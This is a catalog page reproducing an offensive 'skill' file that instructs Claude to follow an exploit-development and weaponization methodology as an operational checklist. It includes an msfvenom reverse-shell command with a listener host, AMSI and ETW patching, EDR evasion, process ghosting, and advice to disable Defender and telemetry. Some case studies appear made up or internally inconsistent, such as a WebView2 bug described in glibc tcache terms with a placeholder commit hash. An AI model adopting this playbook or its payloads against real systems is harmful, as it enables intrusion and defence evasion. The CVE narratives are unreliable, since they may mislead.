SKILL: Exploit Development
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About this capability
claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a specific attack surface — from SQLi to shellcode, EDR evasion to exploit development.
What this skill tells your AI
The instructions your AI receives, as published by snailsploit/claude-red in Skills/exploit-dev/offensive-exploit-development/SKILL.md and read by ahel’s review.
Metadata
- Skill Name: exploit-development
- Folder: offensive-exploit-development
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/development.md
Description
Exploit development operational guide: environment setup, debugging workflow, PoC development lifecycle, writing reliable exploits, using pwntools/pwndbg, heap exploitation techniques, and weaponization considerations. Use when actively developing exploits or setting up an exploit dev environment.
Trigger Phrases
Use this skill when the conversation involves any of:
exploit development, pwntools, pwndbg, heap exploitation, PoC development, exploit reliability, weaponization, debugging workflow, exploit dev environment
Instructions for Claude
When this skill is active:
- Load and apply the full methodology below as your operational checklist
- Follow steps in order unless the user specifies otherwise
- For each technique, consider applicability to the current target/context
- Track which checklist items have been completed
- Suggest next steps based on findings
Full Methodology
Exploit Development
Exploit Development Process
- Checkout Bug Identification document for more information
- Also check Fuzzing for specific fuzzing topics
- Integrate snapshot‑based fuzzing pipelines (AFL++, WinAFL, Snap‑Fuzz) and LLM‑guided input mutation to shorten time‑to‑bug.
- Incorporate LLM‑assisted fuzzers (ChatAFL, HyLLFuzz) for grammar inference or plateau escape when grey‑box coverage stalls.
- Add continuous‑integration security fuzzing (e.g., GitHub Actions with ASAN/UBSAN) so regressions are caught automatically.
- For Windows-specific vulnerabilities, see Windows Kernel
flowchart LR
BugId["Bug Identification"] --> Analysis["Vulnerability Analysis"]
Testing["Testing & Refinement"] --> Deployment["Deployment"]
subgraph "Analysis Phase"
direction LR
Root["Root Cause Analysis"]
Trig["Trigger Identification"]
Impact["Impact Assessment"]
end
subgraph "Weaponization Phase"
direction LR
MitBypass["Mitigation Bypass"]
Payload["Payload Development"]
Reliability["Reliability Improvements"]
end
Analysis --> Root
Analysis --> Trig
Analysis --> Impact
Root --> MitBypass
Impact --> Payload
Trig --> Payload
MitBypass --> Payload
Payload --> Reliability
Reliability --> Testing
Testing --> MitBypass
class BugId,Analysis,Testing,Deployment primary
Bug Types
Stack Overflow
Involves memory on the stack getting corrupted due to improper bounds checking when a memory write operation takes place.
Case Study — CVE‑2025‑0910 (TinyFTP stack overflow)
- Bug – Unchecked
strcpycopies user‐supplied file path into a 256‑byte stack buffer when handlingSTORcommands. - Trigger – Send
STOR /followed by 420 bytes ofA…to overflow the buffer and clobber SEH frame. - Exploit – Overwrite next SEH with a
pop pop retinsidemsvcrt.dll; pivot to payload that disables DEP via ROP then spawns a reverse shell. - Mitigations bypassed – DEP (ROP), ASLR (module without /DYNAMICBASE), SEHOP disabled in default config.
- Fixed in v1.5.3 by replacing
strcpywithstrncpy_sand enabling/DYNAMICBASE /GS.
SEH
- structured exception handler is a linked list of all exception handlers ( try catch clauses) and the default windows exception handler as the last node.
ntdll!KiUserExceptionDispatcheris responsible for the exception handling process which itself callsRtlDispatchExceptionRtlDispatchExceptionretrieves theTEBand parses the exception handling linked list usingNtTib->ExceptionList- SafeSEH mitigates handler over‑writes only in 32‑bit images. On x64 Windows, newer toolchains and components support Guard EH Continuations; adoption varies by binary and build.
SEHOPremains enabled by default.- To check whether a module uses Guard EH Continuations, inspect
Load Configuration Directory → GuardEHContinuationsin the PE header (e.g.,dumpbin /loadconfigor aliefscript). - Many core system DLLs are compiled with EHCONT metadata plus
/GS,/CETCOMPAT; the classic approach of choosing a module without SafeSEH or ASLR is increasingly rare. Verify per target.
- To check whether a module uses Guard EH Continuations, inspect
RtlpExecuteHandlerForExceptioncalls thentdll!ExecuteHandler2which in turn calls the actual exception handler function after validation- In a SEH buffer overflow we try to overflow the buffer and overwrite the
ExceptionListstarting at the buffer - so that the dispatcher calls our handler pointer —we gain control of the instruction pointer only if SEHOP is disabled or successfully bypassed.
- you need to find a
pop-pop-retsequence to use in the exploit, you also need to identify and remove bad characters
EggHunting
- during exploit development you might be unable to find enough space for your payload at an static point, this is where you need egghunting
- you need a small search payload to scan virtual address space for a suitable payload location
- you can use keystone engine to write your egghunter code
- On Windows 11+, classic egghunters still work, but Control‑Flow Guard (CFG) validates indirect jumps, so you need either a CFG exemption (e.g., a RWX region created with
VirtualProtect) or a target module compiled without/guard:cf.
Use After Free
The link to something isn't available anymore, so we just replace it with our binary and take over the program.
Case Study — CVE‑2024‑4852 (Edge WebView2 AudioRenderer UAF)
- Bug –
core::media::AudioRendererfailed to remove a task from the render queue on stream abort, leaving a dangling pointer. - Trigger – JavaScript
AudioContextrapid open‑close loop × 1 000 on Windows 11 23H2. - Exploit – Heap feng‑shui creates JSArray backing stores at freed slot; fake vtable gives arbitrary R/W, chained to
VirtualProtectto run shellcode. - Mitigations bypassed – CET shadow stack (JOP gadgets), XFG (indirect‑call target inside allowed GFID range).
- Patched in Edge 124.0.2365.18 with smart‑pointer ref‑count and
std::erase_ifqueue purge.
Background
- C++ Smart Pointers
- Intrusive: Microsoft chose this
- Non-Intrusive
- Linked
- when an object is created from a
C++class and uses virtual functions- a
vptris created at compile time and points to a virtual function tablevtable/vftable - the table holds pointer to virtual functions, when loaded into a register like
RAX, a call is made to the appropriate offset for the desired virtual function - we count number of created instances, we decrement it when calling the release function
- when the counter hits 0, destructor is called to delete the object, if there is still a reference to the deleted object we have a potential UAF
- a
- Windows Heap Front‑End Allocators
- LFH (Low Fragmentation Heap) – default on Windows 7–10 for user‑mode heaps
- Segment Heap – default for Windows 10 2004+ and Windows 11 apps that opt in
- Exploits often pivot by corrupting front‑end metadata before landing in the backend.
- For more advanced techniques, see Mitigations or Modern
Heap Overflow
- When data is written beyond the boundary of an allocated chunk of memory on the heap
- Heap exploits often require understanding of allocator internals
- Modern heap exploits involve corrupting metadata - see Modern Samples
Case Study — CVE‑2025‑20301 (Edge WebView2 tcache‑stashing‑unlink)
- Bug – Oversized
AudioRingBufferwrite corrupts size field of next tcache chunk (glibc 2.40). - Trigger – Crafted WebCodecs stream with 65 536‑frame explicit CRC chunk.
- Exploit – Partial overwrite of
fdpointer coerces allocator into returning overlapping chunk; arbitrary R/W → GOT hijack → RCE. - Mitigations bypassed – Safe‑linking (byte‑wise brute on lower 16 bits), ASLR via info‑leak in shared memory.
- Patch – Bounds check and compile‑time
__builtin_object_sizeguard (Chromium 123 commit a1b2c3).
Modern Heap Internals
- Windows Segment Heap – understand freelist bitmaps, per‑segment cookies, and "page backend" corruption primitives.
- glibc tcache + safe‑linking – techniques such as tcache‑stashing‑unlink and House of Kiwi to break the new protections.
- Exploitation workflow: leak
heap_base, craft overlapping chunks, pivot to arbitrary R/W, then chain to code‑execution.- glibc 2.41 fast‑bins & calloc –
calloc()now pre‑fills the tcache and safe‑linking checks trigger earlier; the older fastbins‑dupes shortcut no longer works. Use tcache‑stashing‑unlink or House of KIWI instead on 2.41+.
- glibc 2.41 fast‑bins & calloc –
Concurrency Issues
- Double Fetch: Kernel reads user-mode memory twice, allowing for race conditions
- I/O Ring double‑fetch: race in
NtSetInformationIoRingurb‑array handling leads to write‑what‑where in kernel context.
- I/O Ring double‑fetch: race in
- Missing Locks: Critical sections without proper synchronization
- See Windows Kernel for more details on kernel-specific race conditions
Integer Overflows/Underflows/Truncation
- Integer overflow: exceeding maximum value of integer type
- Integer underflow: going below minimum value of integer type
- Integer truncation: losing data when converting larger to smaller type
- Often leads to memory corruption when used for allocation sizes
- For examples, see Bug Identification
- Casting 64‑bit
size_tto 32‑bitDWORDacross IPC or FFI boundaries can yield negative indexing and oversized allocations; especially common in cross‑arch components.
- Casting 64‑bit
No/Incomplete Pointer Checks
- Checking if a user-provided pointer points to user memory
- Size of any pointer read/writes also need to be verified
- Potentially un-intuitive behavior with common checking API
Format String Attacks
- Theory
- you can use this bug to bypass ASLR and DEP
- to abuse it you need to be able to be able to influence the format string itself or the number of arguments to it
- Methodology
- find a print like function that accepts format string (
vsnprintf, ...) - find a code path to that function that lets you influence the format string
- try to leak a stack address abusing this format string vulnerability
- using the previously leaked address, obtain a DLL address
- use this method to bypass ASLR without using a static address
- you can also find a write primitive to get code execution (checkout
%nmodifier) - you might need stack pivot gadgets like
move esp, r32orxchg esp, r32
- find a print like function that accepts format string (
Case Study — CVE‑2024‑4455 (MailManD format‑string leak‑to‑RCE)
- Bug – Logs
EHLOargument directly intosyslog()format string. - Trigger – Send
EHLO %43$p|%45$sduring SMTP handshake. - Exploit – First leak reveals libc base; second leak dumps GOT entry; craft
%npayload to overwrite__free_hookwith system(). - Mitigations bypassed – Full RELRO & ASLR via info‑leak, PIE disabled in default build.
- Fixed in 2.0.9 by adding
"%s"wrapper and enabling-Wformat-security.
Type Confusion Vulnerabilities
A vulnerability where an application processes an object as a different type than intended, leading to memory corruption or logic bypass.
Case Study — CVE‑2024‑7971 (V8 TurboFan type‑confusion RCE)
- Bug – TurboFan's
CheckBoundselimination incorrectly assumes array element type during JIT optimization, allowing tagged pointer confusion. - Trigger – Craft JavaScript with polymorphic inline cache that triggers speculative optimization on mixed
SMI/HeapNumberarray. - Exploit – Fake JSArray with controlled backing store pointer; corrupt
lengthfield to achieve OOB R/W; pivot to WASM RWX page for shellcode. - Mitigations bypassed – V8 sandbox (pointer compression bypass), CFI (JIT‑generated code exemption).
Background
- JIT Compiler Vulnerabilities
- Type confusion in speculative optimization passes (TurboFan, IonMonkey)
- Inline cache poisoning via polymorphic property access
- Register allocation bugs leading to incorrect type assumptions
- C++ Dynamic Cast Bypass
- Virtual table pointer corruption to bypass
dynamic_castchecks - Object layout confusion in multiple inheritance scenarios
- Template instantiation bugs with type deduction
- Virtual table pointer corruption to bypass
- WASM Type Confusion
- Function signature mismatch across import/export boundaries
- Table element type confusion in indirect calls
- Memory view aliasing between different typed arrays
Exploitation Techniques
- Object Layout Analysis – understand target application's object hierarchy and vtable structure
- Type Oracle Construction – build primitive to leak object type information reliably
- Controlled Type Confusion – craft input that triggers predictable type mismatch
- Privilege Escalation – chain type confusion to achieve arbitrary R/W or code execution
Vulnerability Analysis
Exit Criteria
- Root cause isolated & documented.
- Reliable trigger reproduces the crash ≥ 90 % of attempts.
- Impact classified (DoS, LPE, RCE) and affected versions noted.
- Minimised PoC input saved under
pocs/. - Analysis log (debugger trace, coverage diff) attached.
Quick‑start
- Harness template:
templates/harness_min.cc - WinDbg/LLDB alias pack:
scripts/va_aliases.txt - Checklist refresher: Bug Identification → Root Cause
Root Cause Analysis
- Identify the core issue causing the vulnerability
- Understand memory corruption patterns
- Determine trigger conditions
Impact Assessment
- Evaluate the potential consequences of the vulnerability
- Determine if it leads to information disclosure, privilege escalation, or code execution
- Assess reliability and exploitability in various environments
Weaponization
Exit Criteria
- Control achieved (PC/IP hijack, arbitrary R/W, or logic bypass).
- Mitigation strategy drafted (DEP, ASLR, CET, XFG, MTE, etc.).
- Payload stager verified against bad‑chars & size limits.
- Reliability ≥ 80 % over 100 automated runs.
- Cleanup/rollback logic documented.
Quick‑start
- ROP/JOP chain workspace:
scripts/ropper2_workspace.md - Bad‑char scanner:
tools/badchar_scan.py - Reference: Modern Mitigations
Shellcode Development
Bad Characters
- when using a shellcode in stack
- send all hex bytes except null byte (
0x00) and return carriage (0x0D,0x0A) if in web - check which one has not appeared in the stack, mark it as bad character and don't use it
- see Shellcode for comprehensive techniques
- send all hex bytes except null byte (
Automatic Generation
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=443 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "<list_of_bad_chars>"
# make sure to precede this payload with some NOPs to create space for the getPC operation(decoding of shikata_ga_nai)
# attackBuffer = filler+eip+offset+nops+shellcode
Development
Check out Shellcode
IBT/CET note (x86‑64): place ENDBR64 at entry for valid indirect targets when IBT is enabled. Example prologue bytes: F3 0F 1E FA.
EDR / ETW / AMSI Evasion
- Patch ETW registration stubs (
EtwEventWrite) withretsleds or stubbed functions while evading PatchGuard. - Overwrite the AMSI scan buffer pointer (
amsi!AmsiScanBuffer) with0x80070057(E_INVALIDARG) to short‑circuit scanning. - Use direct‑syscall or "syswhispers‑nt" stagers to avoid user‑land API hooks.
Operational safety checklist (see also EDR):
- Pre‑run: block outbound to vendor telemetry during tests; tag hosts in lab; disable cloud sample uploads.
- Artifact hygiene: strip PDBs/paths, randomize section/order, and avoid common loader strings; prefer
MEM_IMAGEloaders. - Network noise: prefer SMB named‑pipe or HTTP/3 over noisy HTTP/1.1; jitter uploads; avoid fixed beacons during testing.
Post‑Exploitation Automation
- Reflective COFF/BOF loaders (Cobalt Strike, Havoc) for in‑memory tooling.
- SMB named‑pipe or HTTP/3 C2 channels that blend with normal traffic.
- Task automation: direct‑syscall PowerShell runner, ADCS abuse scripts, cloud‑metadata credential harvesters.
Operational Security (OpSec) Checklist (lab use)
- Build & Signatures
- Strip symbols; avoid unique strings; rotate imports; prefer
MEM_IMAGEloaders. - Change syscall stub bytes and hashing keys if using direct‑syscall frameworks.
- Strip symbols; avoid unique strings; rotate imports; prefer
- Network & Telemetry
- Block EDR/XDR endpoints in lab; throttle or sinkhole agent traffic.
- Prefer named‑pipe or HTTP/3 channels with jitter; avoid fixed beacons.
- Host Hygiene
- Disable cloud sample submission; set Defender exclusions on test dirs.
- Avoid patching system binaries in place; use ephemeral copies.
- Evidence & Repro
- Persist inputs, mitigations state, CPU governor, and binary hashes with each run.
- Keep replay scripts separate from payloads; auto‑clean artifacts post‑run.
Payload Development
- Create custom payloads tailored to specific vulnerabilities
- Develop reliable exploitation techniques
- Chain multiple exploits when necessary
Reliability Improvements
- Ensure exploit functions consistently across different environments
- Handle edge cases and error conditions
- Implement timing and synchronization mechanisms for race conditions
- Add a 100‑run gating job (CI) for determinism; fail builds if success rate < target (e.g., 80%).
- Persist exact crash inputs and environment (ASLR, mitigations, CPU governor) for reproducible replay.
Mitigation Bypasses
- For details on exploit mitigations, see Mitigations or Modern Mitigations
- Windows 11 enables by default: DEP, ASLR, CFG (strict mode), CET (Shadow Stack), XFG, ACG, CIG, and KDP; verify which are active in your target and plan corresponding bypasses.
- Credential Guard is enabled by default and NTLMv1 is disabled, complicating lateral‑movement techniques.
- The new Recall AI feature adds a searchable activity timeline; although currently shipped disabled by default, it offers a high‑value data‑exfiltration surface when turned on.
CET/XFG‑aware control strategies
- Prefer ROP‑less primitives:
NtContinue, APC queue +SetThreadContext, or SEH/JOP where CET returns are enforced - Align entry to valid indirect call targets; ensure ENDBR‑aligned gadgets on IBT platforms
- XFG/GFID: call through import thunks or prototype‑matching wrappers to satisfy guard checks
// Minimal NtContinue pivot (ROP‑less) — set RIP/RSP to a safe call target
typedef NTSTATUS (NTAPI *pNtContinue)(PCONTEXT, BOOLEAN);
void pivot_with_ntcontinue(CONTEXT *ctx, void *next_rip, void *new_rsp) {
RtlCaptureContext(ctx);
ctx->Rip = (DWORD64)next_rip; // valid import thunk or allowed GFID target
ctx->Rsp = (DWORD64)new_rsp; // keep shadow‑stack alignment plausible
((pNtContinue)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtContinue"))(ctx, FALSE);
}
// APC + SetThreadContext — schedule execution at an import thunk to satisfy XFG
void apc_setctx(HANDLE hThread, void *start, void *param) {
CONTEXT c = { .ContextFlags = CONTEXT_FULL };
GetThreadContext(hThread, &c);
c.Rip = (DWORD64)start; // e.g., kernel32!LoadLibraryW stub
c.Rcx = (DWORD64)param; // first argument
SetThreadContext(hThread, &c);
QueueUserAPC((PAPCFUNC)start, hThread, (ULONG_PTR)param);
}
ACG/CIG pathways
- Favor
MEM_IMAGE‑mapped payloads (ghosting/doppelganging/herpaderping) overMEM_PRIVATERWX - Reuse existing RX regions (WASM/JIT) where policy allows; avoid creating fresh RWX
- Process Ghosting
- Create transacted file → write signed‑looking image → roll back → map section as
MEM_IMAGE→ create process from section.
- Create transacted file → write signed‑looking image → roll back → map section as
- Herpaderping
- Create process then overwrite on disk via rename tricks; the in‑memory image remains
MEM_IMAGEand passes loader checks.
- Create process then overwrite on disk via rename tricks; the in‑memory image remains
- Doppelganging (TxF legacy)
- Use TxF (where enabled) to create section from a transacted file, then abort the transaction post‑mapping.
All three avoid MEM_PRIVATE payloads that hotpatch checks reject in 24H2 (see Modern Mitigations → OS Loader changes).
Segment Heap notes
- Distinguish frontend (LFH/Segment) vs page backend corruption primitives
- PageHeap + verifier flags help triage; expect different grooming than classic NT Heap
Mitigation Matrix (Quick Reference)
| Mitigation | Default platforms (2025) | Protects | Common bypass primitive |
|---|---|---|---|
| DEP / NX | All major OSes | Code execution in data pages | ROP/JOP pivot to RWX or change page permissions |
| ASLR | All | Base‑address disclosure | Info leak + partial overwrite / brute‑force |
| CFG (v1) | Windows 8.1+ | Indirect calls integrity | Abuse writable/exempt module, ret‑slide into target |
| CET Shadow Stack | Windows 10 2004+, Linux 6.1 (x86) | Return‑address integrity | Disable CET (SetProcessMitigationPolicy) or pivot via JOP |
| XFG | Windows 11 22H2+ | Indirect‑call target integrity | Use JOP gadgets or stub out guard function section |
| GuardEHContinuation | Windows 11 24H2 (x64) | SEH overwrite attempts | JOP stub into verified handler region |
| MTE | Android 14+, Linux 6.8 (ARM64) | Heap/stack OOB & UAF | Tag brute‑force or TAGSYNC alias |
| CIG / ACG | Windows 10+ | Unsigned code / RWX pages | Map signed RWX driver or relocate section |
Testing & Refinement
Exit Criteria
- Exploit succeeds on clean target VM snapshot.
- No unintended crashes after execution; system remains stable.
- Execution time ≤ 30 seconds (tune per target).
- CI replay job in
.github/workflows/exploit.ymlpasses. - Regression corpus added to fuzzing seed set.
Quick‑start
- Replay script:
scripts/repro.sh - rr recording helper:
scripts/record_rr.py - Coverage diff helper:
tools/afl_cov_compare.py
Debugging Techniques
- Strategic use of debuggers to analyze vulnerable applications
- Tracing execution flow and memory states
- Identifying exploitation opportunities
WinDbg Commands
For SEH exploitation:
# exception data will be inside TEB under NtTib->ExceptionList
dt nt!_TEB
# getting the <exp_addr> of exceptionlist
!teb
# getting the first item in the exception handler linked list, continue to see them using the `Next` param
# the last item should be `ntdll!FinalExceptionHandlerPad`
dt _EXCEPTION_REGISTRATION_RECORD <exp_addr>
# getting more information about the exception
!exchain
# setting a breakpoint on the exceution handler
bp ntdll!ExecuteHandler2
# see what is execution handler doing(use it to identify exploitation point in buffer)
u @eip L11
Shortened here. Read the whole file on GitHub.
Signals
- GitHub stars
- 3k
- Forks
- 511
- Last commit
- Aug 2026
Advanced
- Catalog kind
- skill
- Gateway key
offensive-exploit-development- Source
- github.com/snailsploit/claude-red